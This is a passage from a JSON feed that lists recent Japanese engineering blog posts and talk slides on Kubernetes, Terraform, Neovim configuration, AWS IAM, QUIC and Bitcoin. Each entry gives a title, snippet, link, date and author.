で既存の秘密鍵を使って証明書を発行する","contentSnippet":"既存の秘密鍵を使って証明書を発行しなければいけないという特殊な環境ですぐに証明書を発行したいということがありました。 lego を使っての証明書発行は","link":"https://blog.1q77.com/2022/12/issue-the-certificate-using-existing-private-key-with-lego/","isoDate":"2022-12-07T13:42:05.000Z","dateMiliSeconds":1670420525000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"セキュア・バイ・デザインの鳴くところ","contentSnippet":"セキュア・バイ・デザインの鳴くところ\\r安全なソフトウェアを全体から考えるみるで候\\r\\rOWASP Fukuoka Meeting #9\\rhttps://owasp-kyushu.connpass.com/event/266585/\\r\\r副読ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","link":"https://speakerdeck.com/nwiizo/sekiyuabaidezainnoming-kutokoro","isoDate":"2022-12-07T05:00:00.000Z","dateMiliSeconds":1670389200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"私のzshrcの推しポイント","contentSnippet":"私のzshrcの推しポイントを簡単にまとめておくzshrcはGitHubで管理しているので、推しポイントへのリンクも適宜掲載しておくプロンプトhttps://github.com/atusy/dotfiles/blob/c654f90e8ec9ebbc18543d8f0349f7f8202f20c0/dot_zshrc#L20-L36","link":"https://blog.atusy.net/2022/12/07/zshrc2022/","isoDate":"2022-12-07T00:00:00.000Z","dateMiliSeconds":1670371200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"社会に蔓延る労苦〈Toil〉をなくす(株式会社スリーシェイク入社エントリ)","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 5日目の記事です。前日は @aqarium さんによる 徒然なるままにDatadog APM でした。私は株式会社スリ…","link":"https://qiita.com/tayakun/items/2f5ca30b777a54b2c52d","isoDate":"2022-12-05T14:18:53.000Z","dateMiliSeconds":1670249933000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Prometheus で探索対象の ServiceMonitor を広げる","contentSnippet":"Kubernetes クラスタで Prometheus を導入し,ServiceMonitor を作って監視対象を定義したところ,一向に Target として追加されないことがありました。ServiceMonitor が作られているだけでは不十分で,Prometheus の探索する対象に入っている必要があります。それがどこで定義されているかを調べました。以下のような ServiceMonitor を考えます。apiVersion: monitoring.coreos.com/v1kind: ServiceMonitormetadata: name: example-serv...","link":"https://zenn.dev/toshikish/articles/70424038397d6d","isoDate":"2022-12-05T09:53:34.000Z","dateMiliSeconds":1670234014000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Cloud Runで定期ジョブを実行する","contentSnippet":"本記事は GCP(Google Cloud Platform) Advent Calendar 2022 の4日目のものです。3日目は @po3rin さんのAPI on GKE に高速で認証をつけるIdentity-Aware Proxy \xd7 Identity Platform でした。 概要普段、GCPを使ったWebアプリケーション開発をしていますが、その中で、定期的に(スケジューリングをして)、ジョブを実行するということがあります。例えば、DBのデータの整合性とか、ログの収集とか。。。この要件のときは、GCP内で完結させるとして、Cloud SchedulerのHTTP...","link":"https://zenn.dev/satohjohn/articles/20ebf8d1bed1d1","isoDate":"2022-12-04T13:48:19.000Z","dateMiliSeconds":1670161699000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Osaka.Rで朝もくを続けて2年8ヶ月くらいになった","contentSnippet":"本記事は2022/12/04のR言語アドベントカレンダーの記事です。https://qiita.com/advent-calendar/2022/rlang12/03はyutannihilationさんによる「dplyr 1.1.0からはgroup_by()の代わりに.by引数が使えるらしいという話」でした。","link":"https://blog.atusy.net/2022/12/04/osakar-asa-moku/","isoDate":"2022-12-04T00:00:00.000Z","dateMiliSeconds":1670112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"複数の Terraform リソースを一度に別の tfstate ファイルに移動する","contentSnippet":"Terraform の tfstate ファイル間のリソースの移動方法は,基本的には以下の記事の通りです。https://www.karakaram.com/moving-terraform-resources-to-another-tfstate-file/この記事では複数リソースを移動したい場合の方法を書きます。 方法やることはシンプルで,リソースをファイルで列挙して xargs で terraform state mv を繰り返すだけです。移動元ディレクトリで terraform state list を実行することで,その tfstate ファイル内の全リソースを取...","link":"https://zenn.dev/toshikish/articles/61db8661cb28ba","isoDate":"2022-11-25T07:33:50.000Z","dateMiliSeconds":1669361630000,"authorName":"toshikish","authorId":"toshikish"},{"title":"styler.nvimでアクティブなウィンドウか否かでカラースキームを変える","contentSnippet":"本記事の改訂版が出ていますhttps://blog.atusy.net/2022/12/17/styler-nvim-active-win/先日はstyler.nvimを使ってバッファが作業ディレクトリに属すか否かで適用するカラースキームを変えました。styler.nvimを使うとバッファごとにcolorschemeを変えられて便利今回はウィンドウがアクティブか否かで適用するカラースキームを変えてみます。似た用途でtint.nvimを使うと、非アクティブなウィンドウのコントラストを抑えられます。しかし、styler.nvimと干渉するのと、コントラストを落としたせいで視認性に乏しくなるおそれがあります。styler.nvimだけ使えば干渉の心配はなくなりますし、人気なカラースキームを使えば低コントラストでも十分な視認性が期待できます。特にnightfox.nvimが提供する高コントラストなduskfoxと低コントラストなnordfoxは文字の色合いが似ていることもあり、相性がよく、今回試してみました。また、styler.nvimはウィンドウローカルなカラースキームを実現するもので、cmdlineやウィンドウ境界はターゲットとしていません。こういったその他の部分やfloatwinにはcatppuccinを採用してみました。--[[# Change colorschemes by active/inactive windowsThis is a simplified version, and may cause performance issue if so many windows are open.## Requirements:- nvim >= 0.8- plugins - folke/styler.nvim - catppuccin/nvim - EdenEast/nightfox.nvim]]-- settings-- ACTIVE_COLORSCHEME and INACTIVE_COLORSCHEME must be colorschemes using `nvim_set_hl`BASE_COLORSCHEME = \'catppuccin-mocha\'ACTIVE_COLORSCHEME = \'duskfox\'INACTIVE_COLORSCHEME = \'nordfox\'-- Apply colorschemevim.cmd(\\"colorscheme \\" .. BASE_COLORSCHEME)-- Create autocmd to apply styler.nvim on active/inactive windowsnvim.api.nvim_create_autocmd( { \'WinEnter\', \'BufEnter\' }, { group = nvim.api.nvim_create_augroup(\'theme-custom\', {}), callback = function(_) local set_theme = require(\'styler\').set_theme local win = nvim.api.nvim_get_current_win() -- use default colorscheme instead of applying styler.nvim on floatwin -- because some UIs are composed of multiple windows and they should share the theme if api.nvim_win_get_config(win).relative ~= \\"\\" then return end -- apply styler.nvim on active window set_theme(win, { colorscheme = ACTIVE_COLORSCHEME }) -- apply styler.nvim on inactive windows for _, w in pairs(api.nvim_tabpage_list_wins(0)) do if w ~= win then set_theme(w, { colorscheme = INACTIVE_COLORSCHEME }) end end end })ENJOY!!","link":"https://blog.atusy.net/2022/11/25/styler-nvim-dim-inactive-windows/","isoDate":"2022-11-25T00:00:00.000Z","dateMiliSeconds":1669334400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"styler.nvimを使うとバッファごとにcolorschemeを変えられて便利","contentSnippet":"This Week in Neovimという、週次でNeovim関係のニュースを届けてくれるウェブサイトの21 Nov 2022号で、プラグインのfolke/styler.nvimが紹介されていました。このプラグインの目的は、READMEにある通り、ファイルタイプごとのカラースキーム設定です。","link":"https://blog.atusy.net/2022/11/23/styler-nvim/","isoDate":"2022-11-23T00:00:00.000Z","dateMiliSeconds":1669161600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに?リポジトリを見るとdock...","link":"https://zenn.dev/bells17/articles/docker-buildx","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"RPM の install, uninstall 時に実行される script の確認","contentSnippet":"ある RPM Package のインストール、アンインストール時にどんな処理が行われているのか確認したいことがある そんな時な rpm コマンドの --scripts オプションを使用する rpm -qp","link":"https://blog.1q77.com/2022/11/rpm-scripts/","isoDate":"2022-11-10T23:38:02.000Z","dateMiliSeconds":1668123482000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"AWS IAM ポリシーの StringNotEquals 条件の複数値指定は AND になる","contentSnippet":"AWS IAM ポリシーの条件で同一キーに対して複数値を指定した場合,通常は OR で評価されます。例えば,以下の StringEquals 条件の例では,aws:PrincipalTag/role が audit または security のいずれかであれば true になります。\\"Condition\\": { \\"StringEquals\\": { \\"aws:PrincipalTag/role\\": [ \\"audit\\", \\"security\\" ] }}では StringNotEquals 条件にするとどうでしょうか?例えば以下のポリシーで aws:Principal...","link":"https://zenn.dev/toshikish/articles/2d9274783acbae","isoDate":"2022-11-10T08:31:56.000Z","dateMiliSeconds":1668069116000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2022年10月のふりかえり、まとめ","contentSnippet":"7年ぶりにふり返りするような気がします。これぶりですかね。blog.masasuzu.net10月は思い立って細かいことでも記録に残すようにし始めたのでサブブログの月間投稿数が増えてます。このまま続けたいところです。メインブログは相変わらず0なのでちゃんと書きたいところではあります。2022-10-01から1ヶ月間の記事一覧 - ふり返る暇なんて無いね仕事10月は端境期だったので、技術検証をメインでやってました。技術メインブログの方はどちらかというとパブリック向けに書いてます。ただ、この方針だと記事がゆるい記事が書きにくくなってきたので、サブブログを作った経緯があります。サブブログの技術記事は他の誰かのためではなく未来の自分が思い出すために書くをモットーに書いてます。なのでゆるく、細かい系のことも気軽に書いてます。分からないことは分からないと明示する。途中でも経過を残す。恥も残す。そんな感じです。以前とくらべてGoogle Cloud回りを10月はいじってた感じですね。build-in commandのmanが引けなくて困った - ふり返る暇なんて無いねt3系インスタンスのスペックについて - ふり返る暇なんて無いねGoogle Cloudの外部HTTP(S)ロードバランサと外部HTTP(S)ロードバランサ(従来型)の違いがわからなかった。 - ふり返る暇なんて無いね未解決: Google Cloud Storageの静的配信でnginxで言うところのtry_files的なことをしたかった。。。。 - ふり返る暇なんて無いねはてなブログのカテゴリごとのRSSフィード - ふり返る暇なんて無いねGitHub Actionsで save-state とset-output が廃止されるようです。 - ふり返る暇なんて無いね故障と障害の違いがわからずに困惑してた - ふり返る暇なんて無いね資格PCA取りました!11月にはPCA、KCNA、年内にCKA、CKADを取ることを目標に業務とは別に学習してます。なお、業務ではGoogle CloudもKubernetesも今のところ触る余地ないです。が、将来の投資として学習してます。近い未来で使うのが目に見えてるので。Google Cloud認定 Professional Cloud Architect合格してた - ふり返る暇なんて無いね11月末ターゲットで2個資格試験受けます - ふり返る暇なんて無いね旅土曜日の午前中に温泉入るのにはまってます。休日の早い時間に行動すると時間の有効活用ができるなとしみじみ感じてます。人生に疲れたので熱海で温泉入ってきた - ふり返る暇なんて無いね横須賀で温泉入ってきた - ふり返る暇なんて無いね江ノ島に行ってきて午前中だけで満足した - ふり返る暇なんて無いね生活寒くなりましたが、がんばります。今季初暖房使いました。 - ふり返る暇なんて無いね技術書を複数回読むということ - ふり返る暇なんて無いねワクチン4回目打った\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89 - ふり返る暇なんて無いね11月に向けてといっても11月始まってますが。11月は資格の勉強もあるし、新しい固めのお仕事も始まるので、だいぶヘビーになる予感を感じてます。寒くなる季節なので体調には気を付けつつも、引き続き温泉につかり、ブログ書くのも続けて行きたいですね。","link":"https://blog.masasuzu.net/entry/2022/11/09/082007","isoDate":"2022-11-08T23:20:07.000Z","dateMiliSeconds":1667949607000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"telescope.nvimで作る簡易コマンドパレット(VSCodeのCtrl + Shift + Pっぽいの)","contentSnippet":"telescope.nvimはキーマップ、Exコマンド、ファイルなどを検索・活用するためのNeovim用プラグインです。この内、キーマップ(:Telescope keymaps)の主な用途は忘れてしまったマッピングの検索でしょう。実は、系のマッピングを実際のキー入力にアサインせずとも使えるので、滅多に使わない機能へ簡単にアクセスする方法として便利です。","link":"https://blog.atusy.net/2022/11/03/telescope-as-command-pallete/","isoDate":"2022-11-03T00:00:00.000Z","dateMiliSeconds":1667433600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"/etc/hosts で wildcard や CNAME 対応させたい","contentSnippet":"macOS での話です。(macOS Ventura でも機能することを確認しました) /etc/hosts で 203.0.113.2 *.example.com みたいに wildcard に対応させたいことが稀にあります。 また、AWS の Application Load Balancer のように","link":"https://blog.1q77.com/2022/10/mac-etc-resolver/","isoDate":"2022-10-30T14:56:34.000Z","dateMiliSeconds":1667141794000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"ビットコイン・ブロックチェーン概論","contentSnippet":"Open Source Conference 2022 Online Fallの発表に使用した資料です。\\r↓セミナー情報\\rhttps://event.ospn.jp/osc2022-online-fall/session/685055\\r↓日本暗号通貨ユーザ会のページ\\rhttps://cryptocurrency.connpass.com/","link":"https://speakerdeck.com/shukob/bitutokoinburotukutiengai-lun","isoDate":"2022-10-29T04:00:00.000Z","dateMiliSeconds":1667016000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes クラスタ内ホスト名に CNAME レコードでエイリアスを付与したい","contentSnippet":"Kubernetes クラスタ内で使えるホスト名に CNAME レコード相当でエイリアスを付与したい場合を考えます。クラスタ内では CoreDNS が使われているものとします。 TL;DRCorefile(CoreDNS の設定ファイル)で rewrite プラグインを使って記述します。例えば Service のアドレスである foo.default.svc.cluster.local を foo.example.com にエイリアスしたい場合は以下のように行を追加します。apiVersion: v1kind: ConfigMapmetadata: name: cor...","link":"https://zenn.dev/toshikish/articles/7f555dbf1b4b7d","isoDate":"2022-10-28T10:45:26.000Z","dateMiliSeconds":1666953926000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Bitcoinナカモト論文補足資料","contentSnippet":"https://cryptocurrency.connpass.com/event/262938/\\rビットコインとか勉強会#70《Bitcoinナカモト論文》【暗号通貨読書会#46】 の補足資料です。","link":"https://speakerdeck.com/shukob/bitcoinnakamotolun-wen-bu-zu-zi-liao","isoDate":"2022-10-28T04:00:00.000Z","dateMiliSeconds":1666929600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Luaフィルタで表現力を手に入れろ","contentSnippet":"作例と共にLuaフィルタとLuaの文法について紹介。Tokyo.R 102の資料で主にRユーザーを対象としているが、Pandocユーザーにも参考になるはず。","link":"https://blog.atusy.net/2022/10/22/lua-filter-for-r-users/","isoDate":"2022-10-22T00:00:00.000Z","dateMiliSeconds":1666396800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"controller-runtime Deep Dive","contentSnippet":"Kubernetes Meetup Tokyo #53 ( https://k8sjp.connpass.com/event/259350/ ) のセッション資料です。\\rcontroller-runtimeのアーキテクチャや内部実装について解説しています。\\r\\rセッション動画はこちらです。\\rhttps://youtu.be/jCyt993dzaU\\r\\r以下スライドで紹介しているリンク:\\r\\rcontroller-runtime clientについて: https://zenn.dev/bells17/articles/controller-runtime-client \\rcontroller-runtime: https://github.com/kubernetes-sigs/controller-runtime/tree/v0.12.3 \\raws-load-balancer-controller: https://github.com/kubernetes-sigs/aws-load-balancer-controller/tree/v2.4.4 \\rkueue: https://github.com/kubernetes-sigs/kueue/tree/v0.2.1\\rKubebuilder Book: https://book.kubebuilder.io/architecture.html \\rつくって学ぶKubebuilder: https://zoetrope.github.io/kubebuilder-training/ \\rGinkgo/GomegaによるKubernetes Operatorのテスト手法: https://zenn.dev/zoetro/books/testing-kubernetes-operator \\rCaching Unstructured Objects using controller-runtime: https://ymmt2005.hatenablog.com/entry/2021/07/25/Caching_Unstructured_Objects_using_controller-runtime \\rkubebuilder-declarative-pattern: https://github.com/kubernetes-sigs/kubebuilder-declarative-pattern \\rkubebuilder: https://github.com/kubernetes-sigs/kubebuilder \\rcontroller-tools: https://github.com/kubernetes-sigs/controller-tools \\r\\raws-load-balancer-controller(Ingress Controller for AWS): https://github.com/kubernetes-sigs/aws-load-balancer-controller \\rkueue(Job Queueing): https://github.com/kubernetes-sigs/kueue \\rtopolvm(CSI Driver for LVM): https://github.com/topolvm/topolvm \\rmoco(MySQL Operator): https://github.com/cybozu-go/moco \\rlogging-operator: https://github.com/banzaicloud/logging-operator \\ristio(Service Mesh): https://github.com/istio/istio","link":"https://speakerdeck.com/bells17/controller-runtime-deep-dive","isoDate":"2022-10-06T04:00:00.000Z","dateMiliSeconds":1665028800000,"authorName":"bells17","authorId":"bells17"},{"title":"Istio のサービスへの接続でプロトコルエラーになる","contentSnippet":"現象Istio サービスメッシュを有効にした Kubernetes クラスタ内に立てた Service に接続しようとするも,upstream connect error or disconnect/reset before headers. reset reason: protocol error が出て到達できない。例えば,以下のような Service に gRPC で接続しようとしても失敗する。apiVersion: v1kind: Servicemetadata: name: my-servicespec: selector: app.kubern...","link":"https://zenn.dev/toshikish/articles/d0dd54ae067bed","isoDate":"2022-10-04T02:55:06.000Z","dateMiliSeconds":1664852106000,"authorName":"toshikish","authorId":"toshikish"},{"title":"SQL*Loaderで複数の文字コードが混ざったデータをロードする","contentSnippet":"SQL*Loaderで複数の文字コードが混ざったデータをロードする 概要単一のテキストファイル内で特定のカラムのみ文字コードが違うファイルをSQL*Loaderでデータベースに取り込む方法 注意本記事で扱っている対処方法はおそらく紛れ込んだ文字コードが本来あるべき文字コードの一部として解釈できない場合使用できないと思います。(未検証)最低限文字化けしながらも読み込める状態を想定しています。 結論コントロールファイル内で文字コードの変換が必要なカラムに以下の関数を適用する。column \\"CONVERT(:column, \'target_charset\', \'s...","link":"https://zenn.dev/nnaka2992/articles/load_complex_characterset_oracle","isoDate":"2022-09-25T14:48:29.000Z","dateMiliSeconds":1664117309000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"golangで作るQUICプロトコル(HTTP3リクエストの送信と受信)","contentSnippet":"はじめに前回までの記事でQUICプロトコル上でTLS1.3のハンドシェイクが完了しました。TLS1.3のハンドシェイクが完了したということは、Application Data=HTTPとかをサーバとやり取りできるということになります。今回はサーバにHTTP3のリクエストを送り、メッセージを受信してみます。ソースは以下にあります。https://github.com/sat0ken/go-quic HTTP2とHTTP3HTTP2からストリームとフレームという仕組みが用いられて、1つのTCPコネクションがストリームとなり、ストリーム内で複数のフレームがHTTPヘッダや...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol3","isoDate":"2022-09-04T04:06:32.000Z","dateMiliSeconds":1662264392000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るQUICプロトコル(TLS1.3 ハンドシェイクの終了まで)","contentSnippet":"はじめに前回の記事まででInitial Packetを生成してサーバに送信しました。今回の記事はその続きとなり、サーバからのパケットをパースしてHandshake Packetを送信するところまで解説したいと思います。ソースコードは以下にあります。https://github.com/sat0ken/go-quic Retry Packetの受信→Initial Packetの送信quic-goのサーバにInitial Packetを送信すると、Retry Packetが返ってきます。このへんはサーバの実装により異なってくるのですが、quic-goはそういう実装になっ...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol2","isoDate":"2022-08-27T16:50:00.000Z","dateMiliSeconds":1661619000000,"authorName":"satoken","authorId":"satoken"},{"title":"controller-runtime clientについて","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","link":"https://zenn.dev/bells17/articles/controller-runtime-client","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るQUICプロトコル(Initial Packetの送信まで)","contentSnippet":"はじめについ最近HTTP3のRFC9114として正式に発行されました。HTTP3はQUICプロトコル上で実装されているものです。HTTP3はGoogleのTOPページなど既に日常的に使われています。業務でQUICやHTTP3でコードを書くことはまだあまりないと思いますが、まぁいずれそういう時代もくるでしょう。そういう時が来たときにあたふたするわけにはいかないので、今回はQUICとHTTP3プロトコルスタックを実装して学んでみることにします。今回のルールとゴールです。udpパケットの送信と受信にnetパッケージを使用するTLSは自分で実装したものを使用、crypto/...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol","isoDate":"2022-08-24T23:10:48.000Z","dateMiliSeconds":1661382648000,"authorName":"satoken","authorId":"satoken"},{"title":"Software Design 2022年9月号にコードリーディングに関する記事を寄稿しました","link":"https://bells17.medium.com/oss-source-code-reading-29392edf80fe?source=rss-713cf42ce34d------2","isoDate":"2022-08-18T15:06:54.000Z","dateMiliSeconds":1660835214000,"authorName":"bells17","authorId":"bells17"},{"title":"Ethereum The Merge 〜これからのフルノード運用〜","contentSnippet":"The MergeでEthereumのフルノード運用がどう変わるのか、廃止になるTestnetは何かなどをLTでお話ししました。\\rhttps://cryptocurrency.connpass.com/event/256526/","link":"https://speakerdeck.com/shukob/ethereum-the-merge-korekarafalsehurufalsedoyun-yong","isoDate":"2022-08-14T04:00:00.000Z","dateMiliSeconds":1660449600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"felpパッケージでRのヘルプをあいまいに検索しよう","contentSnippet":"Rでヘルプを見ようにも記憶があいまいだったり、つづりがあやふやで調べようがない経験があるかもしれません。tidyverseに入ってるなんちゃらパッケージのミュータントみたいな関数、なんだっけ?geom_limeとかgeom_pintってライムもビールも欲しいけどそうやないんや!1そこで、あいまいな(fuzzy)キーワードでヘルプを検索するfuzzyhelp関数をfelpパッケージに追加しました。","link":"https://blog.atusy.net/2022/08/13/felp-fuzzyhelp/","isoDate":"2022-08-13T00:00:00.000Z","dateMiliSeconds":1660348800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Vim/NeovimのCTRL_GをPrefixにしてみる","contentSnippet":"CTRL_Gの機能はステータスラインで賄えるのでGit用のPrefixにしてみました","link":"https://blog.atusy.net/2022/08/08/ctrlg-as-prefix-vim/","isoDate":"2022-08-08T00:00:00.000Z","dateMiliSeconds":1659916800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Fuzzy Finderで捗るFernによるファイル操作","contentSnippet":"FernはVim/Neovim向けのファイラーで、外部依存がなくパフォーマンスも良好なので、好んで使っています。また、ファイラーらしく、ファイル操作などの機能を種々揃えており、「action」と呼んでいます。Fernの画面上でaを押すと、コマンドラインモードでアクションを指定でき、設定してあればタブ補完も効くようです。作者は、ユーザーがキーマッピングを覚えなくて良い点を魅力に挙げています。","link":"https://blog.atusy.net/2022/08/05/fuzzyfern/","isoDate":"2022-08-05T00:00:00.000Z","dateMiliSeconds":1659657600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SRETT#4黒い画面をもっと効率的に(使って自動化の時間を捻出)","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/srett-number-4hei-ihua-mian-womotutoxiao-lu-de-ni-shi-tutezi-dong-hua-falseshi-jian-wonian-chu","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"cobra は便利になっている","contentSnippet":"2022年3-shake SRE Tech Talk #4\\rhttps://3-shake.connpass.com/event/253028/","link":"https://speakerdeck.com/nwiizo/cobra-habian-li-ninatuteiru","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nvim-treehopperで捗るコードの折り畳み","contentSnippet":"nvim-treehopperを使うと、ソースコードの抽象構文木に基づいた範囲選択が簡単にできます。関数定義全体を選択とか、if文の条件部分を選択とか、文脈に沿った範囲選択が捗るわけです。おそらく、定番の使い道は選択範囲の削除(d | D)やヤンク(y | Y)でしょう。加えてコードの折り畳み(zf)とも相性が良いとに気付きました。","link":"https://blog.atusy.net/2022/08/01/treehopper/","isoDate":"2022-08-01T00:00:00.000Z","dateMiliSeconds":1659312000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"chowcho.nvimで任意の関数を、対話的に選択したwindowで実行","contentSnippet":"chowcho.nvimを使うと、Neovimの各windowに番号が表示され、目的番号を入力すると、フォーカスを移動できます。https://github.com/tkmpypy/chowcho.nvim今回、この機能を一般化し、winidを受け取る任意の関数を実行できるようにしました。","link":"https://blog.atusy.net/2022/07/31/chowcho-nvim-any-func/","isoDate":"2022-07-31T00:00:00.000Z","dateMiliSeconds":1659225600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ビットコイン・ライトニングネットワーク概論","contentSnippet":"https://cryptocurrency.connpass.com/event/254173/\\rhttps://event.ospn.jp/osc2022-online-kyoto/session/618650\\r【OSC2022 Online Kyoto にて発表】\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。オフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。ビットコインの復習を少しした後、ライトニング・ネットワーク技術の概論をお話しいたしました。","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun","isoDate":"2022-07-30T04:00:00.000Z","dateMiliSeconds":1659153600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"AWS SAP 合格体験記 2022/06","contentSnippet":"はじめにネットで公開されている数々のAWS Certified Solutions Architect - Professionalの合格体験記や勉強法などにお世話になったので自分も書いてみることにしました。教材選びや学習スケジュールの参考になれば嬉しいです。 私の前提知識まず、本題に入る前に私のSAPを受ける前までのスキルセットを軽く紹介させてください。業務でのAWS歴は8ヶ月ほどで現在SREとして働いています以前はRuby on Railsなどを書くプログラマーをやっていましたAWS SAAは2022/03に取得しましたAWSではない他のIT資格は以下で...","link":"https://zenn.dev/tayusa/articles/7b3dd99a79403c","isoDate":"2022-06-24T00:36:49.000Z","dateMiliSeconds":1656031009000,"authorName":"Atsuya 